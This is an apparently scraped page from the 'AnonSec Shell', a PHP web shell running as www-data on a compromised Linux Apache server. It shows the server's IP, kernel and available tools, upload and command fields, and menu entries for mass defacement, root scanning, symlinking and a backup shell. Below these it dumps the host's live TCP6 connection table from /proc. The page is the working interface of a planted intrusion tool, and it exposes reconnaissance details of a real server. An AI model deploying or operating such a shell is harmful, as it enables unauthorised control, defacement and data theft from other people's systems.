AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1663/task/1663/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1663/task/1663/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 59722792 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11959 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 59722796 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF000004000E0A:0050 0000000000000000FFFF0000C31BFD67:F5C7 06 00000000:00000000 03:00000412 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:8980 06 00000000:00000000 03:000014EC 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF000004000E0A:0050 0000000000000000FFFF0000C31BFD67:CF6B 06 00000000:00000000 03:00000A15 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF00002D248109:F623 06 00000000:00000000 03:00000993 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF00008507B2C0:974F 01 00000000:00000000 02:000B01A9 00000000    33        0 199102414 2 0000000000000000 24 5 33 10 7
   8: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:7628 06 00000000:00000000 03:00000634 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:7422 06 00000000:00000000 03:0000133E 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:89ED 06 00000000:00000000 03:00000E22 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:639A 06 00000000:00000000 03:00000226 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:FE32 01 00000000:00000000 02:000B01A9 00000000    33        0 199102508 3 0000000000000000 23 4 0 10 7
  13: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:8170 06 00000000:00000000 03:00000681 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:BB4C 06 00000000:00000000 03:0000133F 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:62E6 06 00000000:00000000 03:0000074E 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF00009DF1074A:E590 06 00000000:00000000 03:000009EE 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:52EE 06 00000000:00000000 03:00000060 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF000004000E0A:0050 0000000000000000FFFF0000C31BFD67:D8F2 06 00000000:00000000 03:000015DA 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:DA58 01 00000000:00000000 02:000B01A9 00000000    33        0 199102503 2 0000000000000000 22 4 0 10 7
  20: 0000000000000000FFFF000004000E0A:0050 0000000000000000FFFF0000C31BFD67:C39D 06 00000000:00000000 03:00000416 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:4945 06 00000000:00000000 03:0000133F 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF00009C90A734:DE45 06 00000000:00000000 03:000013A8 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:A48F 06 00000000:00000000 03:0000133C 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:AB08 06 00000000:00000000 03:000008F8 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:AF41 06 00000000:00000000 03:0000133C 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF000004000E0A:0050 0000000000000000FFFF0000C31BFD67:E3CA 06 00000000:00000000 03:000015DB 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF000004000E0A:01BB 0000000000000000FFFF000048D949D8:909B 06 00000000:00000000 03:0000133D 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team